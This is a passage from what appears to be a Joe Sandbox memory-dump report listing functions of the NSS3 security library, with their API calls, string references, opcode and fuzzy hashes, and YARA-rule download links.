PR_SetError.NSS3(FFFFE013,00000000,?,6D04DC29,?), ref: 6CFCBEDF
PORT_FreeArena_Util.NSS3(?,00000000,?,?,?,6D04DC29,?), ref: 6CFCBEF3

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$AllocateArena_Value$CopyCriticalEnterErrorFreeInitItem_LockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 3111646008-0
Opcode ID: 611ca16d4481621904a0b14d927bf13d40c7ced42e658f035fcec1cf4bf9e4c2
Instruction ID: 4c1e395824908a82e057f21bf8107838fadf1bc76054ab24f4ccbf28641babe4
Opcode Fuzzy Hash: 611ca16d4481621904a0b14d927bf13d40c7ced42e658f035fcec1cf4bf9e4c2
Instruction Fuzzy Hash: 8011E476F012165BFB008B659C41FAF3BA8EF41659F150428EE08EB680EB72D904C7A2

Function 6D053C80 Relevance: 9.1, APIs: 6, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 6D055B40: PR_GetIdentitiesLayer.NSS3 ref: 6D055B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6D053D3F

Part of subcall function 6CFCBA90: PORT_NewArena_Util.NSS3(00000800,6D053CAF,?), ref: 6CFCBABF
Part of subcall function 6CFCBA90: PORT_ArenaAlloc_Util.NSS3(00000000,00000010,?,6D053CAF,?), ref: 6CFCBAD5
Part of subcall function 6CFCBA90: PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,6D053CAF,?), ref: 6CFCBB08
Part of subcall function 6CFCBA90: memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6D053CAF,?), ref: 6CFCBB1A
Part of subcall function 6CFCBA90: SECITEM_CopyItem_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,6D053CAF,?), ref: 6CFCBB3B

PR_EnterMonitor.NSS3(?), ref: 6D053CCB

Part of subcall function 6D089090: TlsGetValue.KERNEL32 ref: 6D0890AB
Part of subcall function 6D089090: TlsGetValue.KERNEL32 ref: 6D0890C9
Part of subcall function 6D089090: EnterCriticalSection.KERNEL32 ref: 6D0890E5
Part of subcall function 6D089090: TlsGetValue.KERNEL32 ref: 6D089116
Part of subcall function 6D089090: LeaveCriticalSection.KERNEL32 ref: 6D08913F

PR_EnterMonitor.NSS3(?), ref: 6D053CE2
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6D053CF8
PR_ExitMonitor.NSS3(?), ref: 6D053D15
PR_ExitMonitor.NSS3(?), ref: 6D053D2E

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Util$Monitor$EnterValue$Alloc_ArenaArena_CriticalExitSection$CopyErrorFreeIdentitiesItem_LayerLeavememset
String ID:
API String ID: 4030862364-0
Opcode ID: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction ID: 00f7cbe24093a6318cffd87ee2116a99d9f405fde77d175cbf152a07ffca5b75
Opcode Fuzzy Hash: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction Fuzzy Hash: A41104B5A14600AFFB215E65FD41B5BB6F9AB19208F414534ED0A87221E633F829C762

Function 6D01FDF0 Relevance: 9.1, APIs: 6, Instructions: 60memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6D01FE08

Part of subcall function 6D0210C0: TlsGetValue.KERNEL32(?,6CFC8802,00000000,00000008,?,6CFBEF74,00000000), ref: 6D0210F3
Part of subcall function 6D0210C0: EnterCriticalSection.KERNEL32(?,?,6CFC8802,00000000,00000008,?,6CFBEF74,00000000), ref: 6D02110C
Part of subcall function 6D0210C0: PL_ArenaAllocate.NSS3(?,?,?,6CFC8802,00000000,00000008,?,6CFBEF74,00000000), ref: 6D021141
Part of subcall function 6D0210C0: PR_Unlock.NSS3(?,?,?,6CFC8802,00000000,00000008,?,6CFBEF74,00000000), ref: 6D021182
Part of subcall function 6D0210C0: TlsGetValue.KERNEL32(?,6CFC8802,00000000,00000008,?,6CFBEF74,00000000), ref: 6D02119C

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6D01FE1D

Part of subcall function 6D0210C0: PL_ArenaAllocate.NSS3(?,6CFC8802,00000000,00000008,?,6CFBEF74,00000000), ref: 6D02116E

PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6D01FE29
PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6D01FE3D
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6D01FE62
free.MOZGLUE(00000000,?,?,?,?), ref: 6D01FE6F

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Alloc_ArenaUtil$AllocateValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 660648399-0
Opcode ID: 47db61a401caffaaaf51eaee6c920e8d9f72f1ced4d7be4ab13100b3bee061c7
Instruction ID: 4c0d080bfcb833d5904e727a3c063840a49d696de1f0013e021fcb5fce27cd05
Opcode Fuzzy Hash: 47db61a401caffaaaf51eaee6c920e8d9f72f1ced4d7be4ab13100b3bee061c7
Instruction Fuzzy Hash: B911E5B7608202ABFB019B95EC40F6BBBDCBF54295F058134ED1887212E731D910C791

Function 6D0CFD90 Relevance: 9.1, APIs: 6, Instructions: 51COMMON

Download Yara Rule

APIs

PR_Lock.NSS3 ref: 6D0CFD9E

Part of subcall function 6D089BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6CFB1A48), ref: 6D089BB3
Part of subcall function 6D089BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6CFB1A48), ref: 6D089BC8

PR_WaitCondVar.NSS3(000000FF), ref: 6D0CFDB9

Part of subcall function 6CFAA900: TlsGetValue.KERNEL32(00000000,?,6D1214E4,?,6CF44DD9), ref: 6CFAA90F
Part of subcall function 6CFAA900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6CFAA94F

PR_Unlock.NSS3 ref: 6D0CFDD4
PR_Lock.NSS3 ref: 6D0CFDF2
PR_NotifyAllCondVar.NSS3 ref: 6D0CFE0D
PR_Unlock.NSS3 ref: 6D0CFE23

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: CondLockUnlockValue$CriticalEnterNotifySectionWait
String ID:
API String ID: 3365241057-0
Opcode ID: d436ee9f769f527a54d98bcb5674608cb924dffc46fb4e00bfe8b9f59f11c149
Instruction ID: 1eb94278e5cfdb6c2a439f19a4d19b3d9fa3cb0f7f7f71b9ad2eaa557e9bc792
Opcode Fuzzy Hash: d436ee9f769f527a54d98bcb5674608cb924dffc46fb4e00bfe8b9f59f11c149
Instruction Fuzzy Hash: F901A1B6D04291ABEF059F15FC00A197B72FB022687154374E929472E7E773ED64CA82

Function 6CFAAE30 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 231COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CDD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CFAAFDA

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CFAAFC4
%s at line %d of [%.10s], xrefs: 6CFAAFD3
misuse, xrefs: 6CFAAFCE
unable to delete/modify collation sequence due to active statements, xrefs: 6CFAAF5C

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify collation sequence due to active statements
API String ID: 632333372-924978290
Opcode ID: 5ab79b43284b82324e52f3ee9ca5f038135deeff1184f9403084d535461287f1
Instruction ID: 6024b2050978b9e0ec73a9ed02e0ab379655ff627dd480aadfa219542de4e630
Opcode Fuzzy Hash: 5ab79b43284b82324e52f3ee9ca5f038135deeff1184f9403084d535461287f1
Instruction Fuzzy Hash: 1091C275A00215CFDB04CFAAC890BEAF7F1AF49314F1984A8E865AB751D730AD06CF60

Function 6D00FC30 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 156stringCOMMON

Download Yara Rule

APIs

PL_strncasecmp.NSS3(?,pkcs11:,00000007), ref: 6D00FC55
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6D00FCB2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6D00FDB7
PR_SetError.NSS3(FFFFE09A,00000000), ref: 6D00FDDE

Part of subcall function 6D018800: TlsGetValue.KERNEL32(?,6D02085A,00000000,?,6CFC8369,?), ref: 6D018821
Part of subcall function 6D018800: TlsGetValue.KERNEL32(?,?,6D02085A,00000000,?,6CFC8369,?), ref: 6D01883D
Part of subcall function 6D018800: EnterCriticalSection.KERNEL32(?,?,?,6D02085A,00000000,?,6CFC8369,?), ref: 6D018856
Part of subcall function 6D018800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6D018887
Part of subcall function 6D018800: PR_Unlock.NSS3(?,?,?,?,6D02085A,00000000,?,6CFC8369,?), ref: 6D018899

Strings

pkcs11:, xrefs: 6D00FC4F

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: ErrorValue$CondCriticalEnterL_strncasecmpSectionUnlockWaitstrcmp
String ID: pkcs11:
API String ID: 362709927-2446828420
Opcode ID: 0d77c1a3e0163b162c55c87f76c8a423ffa7de642d62289582cc5858f8f90a1b
Instruction ID: dea712e7e52c76108da4900a0437f933dffcac39baf75e52655311a5d6a818f8
Opcode Fuzzy Hash: 0d77c1a3e0163b162c55c87f76c8a423ffa7de642d62289582cc5858f8f90a1b
Instruction Fuzzy Hash: 3951F471E18152BBFB018FA49D41F2E3BAAFF41318F464026DE055B242EB31E901EBD6

Function 6CF4BDA0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 94COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(00000000,?,?), ref: 6CF4BE02

Part of subcall function 6D079C40: memcmp.VCRUNTIME140(?,00000000,6CF4C52B), ref: 6D079D53

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014A8E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CF4BE9F

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CF4BE89
%s at line %d of [%.10s], xrefs: 6CF4BE98
database corruption, xrefs: 6CF4BE93

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: memcmp$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1135338897-598938438
Opcode ID: 93fe03dc5cc44abaa24bf126b3d6ae942d400af245d2b247bc8b34b284d7eef9
Instruction ID: c2b7ee4373c489d1cda7349c941b6e35af6a4267a921cac09164e27c68c46b1c
Opcode Fuzzy Hash: 93fe03dc5cc44abaa24bf126b3d6ae942d400af245d2b247bc8b34b284d7eef9
Instruction Fuzzy Hash: AC310132A48A558BC700CF69D894FAFBFB2AF81314B19C955EE585B683D770E901C7D0

Function 6D036DE0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 88COMMON

Download Yara Rule

APIs

PR_MillisecondsToInterval.NSS3(?), ref: 6D036E36
PR_SetError.NSS3(FFFFE005,00000000), ref: 6D036E57

Part of subcall function 6D06C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D06C2BF

PR_MillisecondsToInterval.NSS3(?), ref: 6D036E7D
PR_MillisecondsToInterval.NSS3(?), ref: 6D036EAA

Strings

nm, xrefs: 6D036DF9

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: IntervalMilliseconds$ErrorValue
String ID: nm
API String ID: 3163584228-662884256
Opcode ID: 1e06355be1f671d21a1bf3f43e6d58601445419ad285d60cbf53dffdd2818a45
Instruction ID: 312f5e74604644360537883717f302393bcd9cd862f2408490c91414eebf1356
Opcode Fuzzy Hash: 1e06355be1f671d21a1bf3f43e6d58601445419ad285d60cbf53dffdd2818a45
Instruction Fuzzy Hash: 0F31C132624523EEFB141F34DD043AAB7E4AB05316F92463CD99A97241EB31A498CBD1

Function 6CFB0DC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51stringCOMMON

Download Yara Rule

APIs

strrchr.VCRUNTIME140(00000000,0000005C,00000000,00000000,00000000,?,6CFB0BDE), ref: 6CFB0DCB
strrchr.VCRUNTIME140(00000000,0000005C,?,6CFB0BDE), ref: 6CFB0DEA
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(00000001,00000001,?,?,?,6CFB0BDE), ref: 6CFB0DFC
PR_LogPrint.NSS3(%s incr => %d (find lib),?,?,?,?,?,?,?,6CFB0BDE), ref: 6CFB0E32

Strings

%s incr => %d (find lib), xrefs: 6CFB0E2D

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: strrchr$Print_stricmp
String ID: %s incr => %d (find lib)
API String ID: 97259331-2309350800
Opcode ID: e2b8ef59786a29bac645f1628230f068eef83457809c4a75ae9c0c908e67e8bf
Instruction ID: f52a77c4295f06c103ff698bea4e95c32ca7d4de8402bc5f8d53ed394de4f1c5
Opcode Fuzzy Hash: e2b8ef59786a29bac645f1628230f068eef83457809c4a75ae9c0c908e67e8bf
Instruction Fuzzy Hash: 9E0124B2600310AFE6208F26AC46F17B3ACDB45A08B05442EEA09E3641E7E2FC1486A1

Function 6CFF1CC0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 46COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Initialize), ref: 6CFF1CD8
PR_LogPrint.NSS3( pInitArgs = 0x%p,?), ref: 6CFF1CF1

Part of subcall function 6D0D09D0: PR_Now.NSS3 ref: 6D0D0A22
Part of subcall function 6D0D09D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6D0D0A35
Part of subcall function 6D0D09D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6D0D0A66
Part of subcall function 6D0D09D0: PR_GetCurrentThread.NSS3 ref: 6D0D0A70
Part of subcall function 6D0D09D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6D0D0A9D
Part of subcall function 6D0D09D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6D0D0AC8
Part of subcall function 6D0D09D0: PR_vsmprintf.NSS3(?,?), ref: 6D0D0AE8
Part of subcall function 6D0D09D0: EnterCriticalSection.KERNEL32(?), ref: 6D0D0B19
Part of subcall function 6D0D09D0: OutputDebugStringA.KERNEL32(00000000), ref: 6D0D0B48
Part of subcall function 6D0D09D0: _PR_MD_UNLOCK.NSS3(?), ref: 6D0D0C76
Part of subcall function 6D0D09D0: PR_LogFlush.NSS3 ref: 6D0D0C7E

Strings

pInitArgs = 0x%p, xrefs: 6CFF1CEC
nm, xrefs: 6CFF1D09, 6CFF1D30
C_Initialize, xrefs: 6CFF1CD3

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: PrintR_snprintf$CriticalCurrentDebugEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime
String ID: pInitArgs = 0x%p$C_Initialize$nm
API String ID: 1907330108-3850863921
Opcode ID: 8207967bc17889e70bc42287b77a947413c027cabf10a84052052e00cdd06387
Instruction ID: 49b0a397b4d648edc1ee04fca90c0defe9a032e3de9bac435bc6aa79b8217f3b
Opcode Fuzzy Hash: 8207967bc17889e70bc42287b77a947413c027cabf10a84052052e00cdd06387
Instruction Fuzzy Hash: 7601DDB5101140FFEF109B56F959B5E7775D7C2319F048025E808D3621DBB6D4C6C7A2

Function 6CF59C60 Relevance: 7.8, APIs: 6, Instructions: 262COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CF59CF2
LeaveCriticalSection.KERNEL32(?), ref: 6CF59D45
EnterCriticalSection.KERNEL32(?), ref: 6CF59D8B
LeaveCriticalSection.KERNEL32(?), ref: 6CF59DDE

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 1f3916c30f651a0aefd1994ae93d197606a82420553859d3d818547b5aa5824f
Instruction ID: 90fb11b5a587007d8cf4f2dbbeeebcb9dd38692de8894252049070ad2136ef64
Opcode Fuzzy Hash: 1f3916c30f651a0aefd1994ae93d197606a82420553859d3d818547b5aa5824f
Instruction Fuzzy Hash: 45A1D5B16041019BEB0CDFA0F989B6E37B5BB57304F58002CD61687A40DF7B9A96CB52

Function 6CFE1E70 Relevance: 7.7, APIs: 5, Instructions: 207COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(?), ref: 6CFE1ECC

Part of subcall function 6D089090: TlsGetValue.KERNEL32 ref: 6D0890AB
Part of subcall function 6D089090: TlsGetValue.KERNEL32 ref: 6D0890C9
Part of subcall function 6D089090: EnterCriticalSection.KERNEL32 ref: 6D0890E5
Part of subcall function 6D089090: TlsGetValue.KERNEL32 ref: 6D089116
Part of subcall function 6D089090: LeaveCriticalSection.KERNEL32 ref: 6D08913F

TlsGetValue.KERNEL32 ref: 6CFE1EDF
EnterCriticalSection.KERNEL32(?), ref: 6CFE1EEF
PR_ExitMonitor.NSS3(?), ref: 6CFE1F37
PR_Unlock.NSS3(?), ref: 6CFE1F44

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Value$CriticalEnterSection$Monitor$ExitLeaveUnlock
String ID:
API String ID: 3539092540-0
Opcode ID: 2d270a5626cc8ef5ab6e6da8c3916e654fb5aa3bbf8f1d666dcc1ecd64f8ddbe
Instruction ID: b3e072250161d8f586c41f461a6c60d95025bf703d7b6246ee1bf4bfe541708c
Opcode Fuzzy Hash: 2d270a5626cc8ef5ab6e6da8c3916e654fb5aa3bbf8f1d666dcc1ecd64f8ddbe
Instruction Fuzzy Hash: 2F718EB6904341AFD700CF25D840A5BB7F5BF88358F158929E85993A12EB31F958CBD2

Function 6D06DD70 Relevance: 7.7, APIs: 5, Instructions: 179COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6D06DD8C
LeaveCriticalSection.KERNEL32(00000000), ref: 6D06DDB4
LeaveCriticalSection.KERNEL32(00000000), ref: 6D06DE1B
ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 6D06DE77

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: CriticalLeaveSection$ReleaseSemaphoreValue
String ID:
API String ID: 2700453212-0
Opcode ID: c6715f63de76ae4f7fe1ba8380261ab78477ca07bc9559de18802c7a6d943532
Instruction ID: d6957e0e37ab5db4b6aa29f422cc3cf05edb7b90e7007d318b918d44b3a721fe
Opcode Fuzzy Hash: c6715f63de76ae4f7fe1ba8380261ab78477ca07bc9559de18802c7a6d943532
Instruction Fuzzy Hash: 37715571A00315CBEB10DFAAC980B9EB7F5BF89714F65806ED9596B302D770A941CFA0

Function 6CFDDFA0 Relevance: 7.6, APIs: 5, Instructions: 143COMMON

Download Yara Rule

APIs

